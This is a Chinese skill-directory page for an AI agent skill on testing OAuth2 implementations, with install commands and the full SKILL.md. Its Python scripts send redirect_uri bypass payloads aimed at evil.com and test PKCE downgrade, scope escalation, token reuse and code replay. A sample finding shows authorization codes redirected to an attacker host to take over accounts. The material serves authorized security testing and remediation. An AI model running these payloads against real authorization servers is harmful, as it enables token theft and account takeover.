Token导航 LogoToken导航TokenDH.com
研究检索敏感数据github未标认证来源可访问许可证需确认审计异常

testing-oauth2-implementation-flaws测试 oauth2 实施缺陷

Agent Skill

用于辅助安全审计、权限检查、凭据风险、认证流程和常见漏洞排查。它适合让 Agent 梳理敏感配置、检查依赖风险、分析鉴权逻辑或生成安全复核清单。使用时不能把工具输出直接当最终结论,涉及密钥、令牌、用户数据或生产系统时,应先确认最小权限、脱敏方式和操作边界。

总安装

903

周安装

38

GitHub Stars

5,929

下载量

316
CodexClaudeCursorGemini CLI

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

GitHub

来源数

2

许可证

unknown

最后核验

2026-05-01

来源状态

来源可访问

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:testing-oauth2-implementation-flaws(测试 oauth2 实施缺陷)
来源仓库:https://github.com/mukul975/anthropic-cybersecurity-skills
仓库路径:skills/testing-oauth2-implementation-flaws
安装命令:
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-oauth2-implementation-flaws
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-oauth2-implementation-flaws

简介

用于发现 OAuth2 协议实现中的安全漏洞。

  • 适用于第三方登录、授权码流等常见实现模式。
  • 可检测 redirect_uri 劫持、scope 越权等问题。
  • 严禁在生产环境直接修改授权配置或密钥。
  • testing-oauth2-implementation-flaws 属于研究检索类 Skill,可作为该场景下的辅助能力补充。

SKILL.md

Testing OAuth2 Implementation Flaws

When to Use

  • Assessing OAuth 2.0 authorization code flow for redirect URI validation weaknesses
  • Testing OAuth client applications for CSRF protection (state parameter usage) and PKCE enforcement
  • Evaluating token storage, transmission, and lifecycle management in OAuth implementations
  • Testing scope escalation where clients request more permissions than authorized
  • Assessing OpenID Connect implementations for ID token validation and nonce usage

Do not use without written authorization. OAuth testing may result in token theft or unauthorized access.

Prerequisites

  • Written authorization specifying the OAuth provider and client applications in scope
  • Test OAuth client registered with the authorization server
  • Burp Suite Professional for intercepting OAuth redirects and token flows
  • Python 3.10+ with requests and oauthlib libraries
  • Browser developer tools for observing OAuth redirect chains
  • Knowledge of the OAuth 2.0 grant types in use (authorization code, implicit, client credentials)

Workflow

Step 1: OAuth Flow Reconnaissance

import requests
import urllib.parse
import re
import hashlib
import base64
import secrets

AUTH_SERVER = "https://auth.example.com"
CLIENT_ID = "test-client-id"
REDIRECT_URI = "https://app.example.com/callback"
SCOPE = "openid profile email"

# Discover OAuth endpoints
well_known = requests.get(f"{AUTH_SERVER}/.well-known/openid-configuration")
if well_known.status_code == 200:
    config = well_known.json()
    print("OAuth/OIDC Configuration:")
    print(f"  Authorization: {config.get('authorization_endpoint')}")
    print(f"  Token: {config.get('token_endpoint')}")
    print(f"  UserInfo: {config.get('userinfo_endpoint')}")
    print(f"  JWKS: {config.get('jwks_uri')}")
    print(f"  Supported grants: {config.get('grant_types_supported')}")
    print(f"  Supported scopes: {config.get('scopes_supported')}")
    print(f"  PKCE methods: {config.get('code_challenge_methods_supported')}")
    auth_endpoint = config['authorization_endpoint']
    token_endpoint = config['token_endpoint']
else:
    # Try common paths
    for path in ["/authorize", "/oauth/authorize", "/oauth2/authorize", "/auth"]:
        resp = requests.get(f"{AUTH_SERVER}{path}", allow_redirects=False)
        if resp.status_code in (302, 400):
            print(f"Authorization endpoint found: {AUTH_SERVER}{path}")
            auth_endpoint = f"{AUTH_SERVER}{path}"
            break

Step 2: Redirect URI Validation Testing

# Test redirect_uri validation strictness
REDIRECT_BYPASS_PAYLOADS = [
    # Open redirect variations
    REDIRECT_URI,                                          # Legitimate
    "https://evil.com",                                    # Different domain
    "https://app.example.com.evil.com/callback",          # Subdomain of attacker
    "https://app.example.com@evil.com/callback",          # URL authority confusion
    f"{REDIRECT_URI}/../../../evil.com",                  # Path traversal
    f"{REDIRECT_URI}?next=https://evil.com",              # Parameter injection
    f"{REDIRECT_URI}#https://evil.com",                   # Fragment injection
    f"{REDIRECT_URI}%23evil.com",                         # Encoded fragment
    "https://app.example.com/callback/../../evil",        # Relative path
    "https://APP.EXAMPLE.COM/callback",                   # Case variation
    "https://app.example.com/Callback",                   # Path case variation
    "https://app.example.com/callback/",                  # Trailing slash
    "https://app.example.com/callback?",                  # Trailing question mark
    "http://app.example.com/callback",                    # HTTP downgrade
    "https://app.example.com:443/callback",               # Explicit port
    "https://app.example.com:8443/callback",              # Different port
    f"{REDIRECT_URI}/.evil.com",                          # Dot segment
    "https://app.example.com/callbackevil",               # Path prefix match
    "javascript://app.example.com/callback%0aalert(1)",   # JavaScript protocol
]

print("=== Redirect URI Validation Testing ===\n")
for redirect in REDIRECT_BYPASS_PAYLOADS:
    params = {
        "response_type": "code",
        "client_id": CLIENT_ID,
        "redirect_uri": redirect,
        "scope": SCOPE,
        "state": secrets.token_urlsafe(32),
    }
    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)

    if resp.status_code == 302:
        location = resp.headers.get("Location", "")
        if "code=" in location or redirect in location:
            status = "ACCEPTED"
            if redirect != REDIRECT_URI:
                print(f"  [VULNERABLE] {redirect[:70]} -> Redirect accepted")
        else:
            status = "REDIRECTED"
    elif resp.status_code == 400:
        status = "REJECTED"
    else:
        status = f"HTTP {resp.status_code}"

    if redirect == REDIRECT_URI:
        print(f"  [BASELINE] {redirect[:70]} -> {status}")

Step 3: State Parameter (CSRF) Testing

# Test 1: Missing state parameter
params_no_state = {
    "response_type": "code",
    "client_id": CLIENT_ID,
    "redirect_uri": REDIRECT_URI,
    "scope": SCOPE,
}
resp = requests.get(auth_endpoint, params=params_no_state, allow_redirects=False)
if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""):
    print("[CSRF] Authorization code issued without state parameter")

# Test 2: State parameter reuse
state_value = "fixed_state_value_123"
# Use same state for multiple authorization requests
for i in range(3):
    params = {**params_no_state, "state": state_value}
    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
    if resp.status_code == 302:
        location = resp.headers.get("Location", "")
        returned_state = urllib.parse.parse_qs(
            urllib.parse.urlparse(location).query).get("state", [None])[0]
        if returned_state == state_value:
            print(f"[INFO] Same state accepted on attempt {i+1} (check client-side validation)")

# Test 3: Token exchange without state validation (client-side check)
# Intercept the callback and try exchanging the code without state
print("\nNote: State validation is a client-side check. Verify the callback handler validates state.")

Step 4: PKCE Bypass Testing

# Test if PKCE (Proof Key for Code Exchange) is enforced

# Generate PKCE values
code_verifier = secrets.token_urlsafe(64)[:128]
code_challenge = base64.urlsafe_b64encode(
    hashlib.sha256(code_verifier.encode()).digest()
).decode().rstrip('=')

# Test 1: Authorization request without PKCE
params_no_pkce = {
    "response_type": "code",
    "client_id": CLIENT_ID,
    "redirect_uri": REDIRECT_URI,
    "scope": SCOPE,
    "state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=params_no_pkce, allow_redirects=False)
if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""):
    print("[PKCE] Authorization code issued without PKCE challenge")

# Test 2: Token exchange without code_verifier
auth_code = "captured_auth_code"  # From intercept
token_resp = requests.post(token_endpoint, data={
    "grant_type": "authorization_code",
    "code": auth_code,
    "redirect_uri": REDIRECT_URI,
    "client_id": CLIENT_ID,
    # No code_verifier
})
if token_resp.status_code == 200:
    print("[PKCE] Token issued without code_verifier - PKCE not enforced")

# Test 3: Token exchange with wrong code_verifier
token_resp = requests.post(token_endpoint, data={
    "grant_type": "authorization_code",
    "code": auth_code,
    "redirect_uri": REDIRECT_URI,
    "client_id": CLIENT_ID,
    "code_verifier": "wrong_verifier_value_that_does_not_match",
})
if token_resp.status_code == 200:
    print("[PKCE] Token issued with wrong code_verifier - PKCE validation broken")

# Test 4: Downgrade from S256 to plain
params_plain_pkce = {
    **params_no_pkce,
    "code_challenge": code_verifier,  # Plain = verifier itself
    "code_challenge_method": "plain",
}
resp = requests.get(auth_endpoint, params=params_plain_pkce, allow_redirects=False)
if resp.status_code == 302:
    print("[PKCE] Plain challenge method accepted - vulnerable to interception")

Step 5: Scope Escalation and Token Testing

# Test 1: Request additional scopes beyond what's registered
elevated_scopes = [
    "openid profile email admin",
    "openid profile email write:users",
    "openid profile email delete:*",
    "openid profile email admin:full",
    "*",
]

for scope in elevated_scopes:
    params = {
        "response_type": "code",
        "client_id": CLIENT_ID,
        "redirect_uri": REDIRECT_URI,
        "scope": scope,
        "state": secrets.token_urlsafe(32),
    }
    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
    if resp.status_code == 302:
        location = resp.headers.get("Location", "")
        if "code=" in location:
            print(f"[SCOPE] Elevated scope accepted: {scope}")

# Test 2: Token reuse across clients
# Use a token from client A on client B's API
token_a = "access_token_from_client_a"
resp = requests.get("https://other-service.example.com/api/resource",
    headers={"Authorization": f"Bearer {token_a}"})
if resp.status_code == 200:
    print("[TOKEN] Token from client A accepted by different service (audience not validated)")

# Test 3: Refresh token theft and reuse
refresh_token = "captured_refresh_token"
# Try using refresh token with different client_id
token_resp = requests.post(token_endpoint, data={
    "grant_type": "refresh_token",
    "refresh_token": refresh_token,
    "client_id": "different-client-id",
})
if token_resp.status_code == 200:
    print("[TOKEN] Refresh token accepted for different client - not bound to client")

Step 6: Implicit Flow and Token Leakage Testing

# Test if implicit flow is enabled (should be disabled per OAuth 2.1)
implicit_params = {
    "response_type": "token",
    "client_id": CLIENT_ID,
    "redirect_uri": REDIRECT_URI,
    "scope": SCOPE,
    "state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=implicit_params, allow_redirects=False)
if resp.status_code == 302:
    location = resp.headers.get("Location", "")
    if "access_token=" in location:
        print("[IMPLICIT] Implicit flow enabled - token in URL fragment (deprecated/insecure)")

# Test token leakage via Referer header
# Check if tokens appear in URLs that could leak via Referer
print("\nToken Leakage Checks:")
print("  - Check if access tokens appear in URL query parameters")
print("  - Check if tokens are logged in server access logs")
print("  - Check if callback URL with code is cached by the browser")
print("  - Check if the authorization code is single-use (replay test)")

# Authorization code replay test
auth_code_to_replay = "captured_auth_code"
for attempt in range(3):
    token_resp = requests.post(token_endpoint, data={
        "grant_type": "authorization_code",
        "code": auth_code_to_replay,
        "redirect_uri": REDIRECT_URI,
        "client_id": CLIENT_ID,
        "client_secret": "client_secret_value",
    })
    print(f"  Code replay attempt {attempt+1}: {token_resp.status_code}")
    if attempt > 0 and token_resp.status_code == 200:
        print("  [VULNERABLE] Authorization code is not single-use")

Key Concepts

TermDefinition
Authorization Code FlowOAuth 2.0 flow where the client receives an authorization code via redirect, then exchanges it for tokens at the token endpoint
PKCEProof Key for Code Exchange - extension that binds the authorization request to the token request using a code verifier/challenge, preventing authorization code interception
Redirect URI ValidationAuthorization server verification that the redirect_uri matches the registered value exactly, preventing code/token theft via open redirect
State ParameterRandom value passed in the authorization request and verified in the callback to prevent CSRF attacks on the OAuth flow
Scope EscalationRequesting or obtaining more permissions (scopes) than the client is authorized for, enabling unauthorized access
Implicit FlowDeprecated OAuth flow that returns tokens directly in the URL fragment, vulnerable to token leakage and replay attacks

Tools & Systems

  • Burp Suite Professional: Intercept and manipulate OAuth redirects, authorization codes, and token exchanges
  • EsPReSSO (Burp Extension): Automated testing of OAuth and OpenID Connect implementations for known vulnerabilities
  • oauth2-security-tester: Dedicated tool for testing OAuth 2.0 flows against common attack patterns
  • OWASP ZAP: Passive scanner that detects OAuth misconfigurations in intercepted traffic
  • jwt.io: Online JWT decoder for analyzing OAuth access tokens and ID tokens

Common Scenarios

Scenario: Social Login OAuth Implementation Assessment

Context: A web application implements "Login with Google" and "Login with GitHub" using OAuth 2.0 Authorization Code flow. The application is a SaaS platform where account takeover has high business impact.

Approach:

  1. Analyze the OAuth configuration at /.well-known/openid-configuration for both providers
  2. Test redirect URI validation: discover that the application registers https://app.example.com/callback but the server accepts https://app.example.com/callback/..%2fevil
  3. Test state parameter: authorization request includes state but the callback handler does not validate it (CSRF possible)
  4. Test PKCE: not implemented for the authorization code flow, making code interception possible on mobile
  5. Test implicit flow: still enabled despite not being used by the application
  6. Test scope: application requests openid profile email but the authorization server also grants read:repos without explicit consent
  7. Test authorization code replay: code can be exchanged twice, indicating lack of single-use enforcement
  8. Test token audience: access token from Google login accepted by GitHub API endpoint (audience not validated)

Pitfalls:

  • Only testing the OAuth flow in the browser without intercepting and manipulating redirect parameters
  • Not testing both the authorization request and the token exchange independently
  • Missing open redirect vulnerabilities in the application that can be chained with OAuth redirect_uri
  • Not testing the state parameter validation on the client side (server may include it but client may not check it)
  • Assuming PKCE is enforced because the authorization server supports it (client must also send it)

Output Format

## Finding: OAuth2 Redirect URI Bypass Enables Authorization Code Theft

**ID**: API-OAUTH-001
**Severity**: Critical (CVSS 9.3)
**Affected Component**: OAuth 2.0 Authorization Code Flow
**Authorization Server**: auth.example.com

**Description**:
The authorization server's redirect_uri validation uses prefix matching
instead of exact string matching. An attacker can manipulate the redirect_uri
to redirect the authorization code to an attacker-controlled endpoint,
enabling account takeover. Additionally, PKCE is not enforced and the
state parameter is not validated by the client application.

**Proof of Concept**:
1. Craft authorization URL with manipulated redirect_uri:
   https://auth.example.com/authorize?response_type=code&client_id=app
   &redirect_uri=https://app.example.com/callback/../../../evil.com
   &scope=openid+profile+email&state=abc123
2. User authenticates and approves consent
3. Authorization code redirected to https://evil.com?code=AUTH_CODE&state=abc123
4. Attacker exchanges code at token endpoint (no PKCE required)
5. Attacker receives access token and ID token for victim's account

**Impact**:
Complete account takeover for any user who clicks a crafted OAuth login link.
The attacker gains full access to the user's profile, email, and any
resources the OAuth scope grants access to.

**Remediation**:
1. Implement exact string matching for redirect_uri validation (no wildcards, no prefix matching)
2. Enforce PKCE (S256 method) for all authorization code flow requests
3. Validate the state parameter in the callback handler before exchanging the code
4. Disable the implicit flow on the authorization server
5. Enforce single-use authorization codes with a short TTL (max 60 seconds)
6. Validate the audience (aud) claim in tokens before accepting them

适合场景

01

用户想查找某类 Agent Skill 时

02

需要根据任务场景推荐可安装能力包时

03

需要对比不同来源的安装命令和来源信息时

能力概览

能力 1

按任务关键词查找相关 Skills

能力 2

展示可复制的安装命令

能力 3

保留来源站点、仓库和原始说明,方便继续核验

能力 4

展示第三方安全扫描或审计结果

安装后应在对应宿主中按原始 README 的触发条件使用;具体调用方式请以来源页面和 README 为准。

平台分布

Codex

31.63%
按下载量换算100

Claude

31.77%
按下载量换算100

Cursor

17.83%
按下载量换算56

Gemini CLI

9.81%
按下载量换算31

安全审计

Gen Agent Trust Hub

通过

Socket

通过

Snyk

未通过

权限和风险

敏感数据

该 Skill 可能接触密钥、Token、环境变量或敏感配置,应进入高风险复核队列,默认不自动发布。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在 warning/failed 结果,不能写成本站确认安全。当前只有一个来源,正式发布前建议补源仓库或其他目录站核验。

来源信息

继续浏览同类 Skills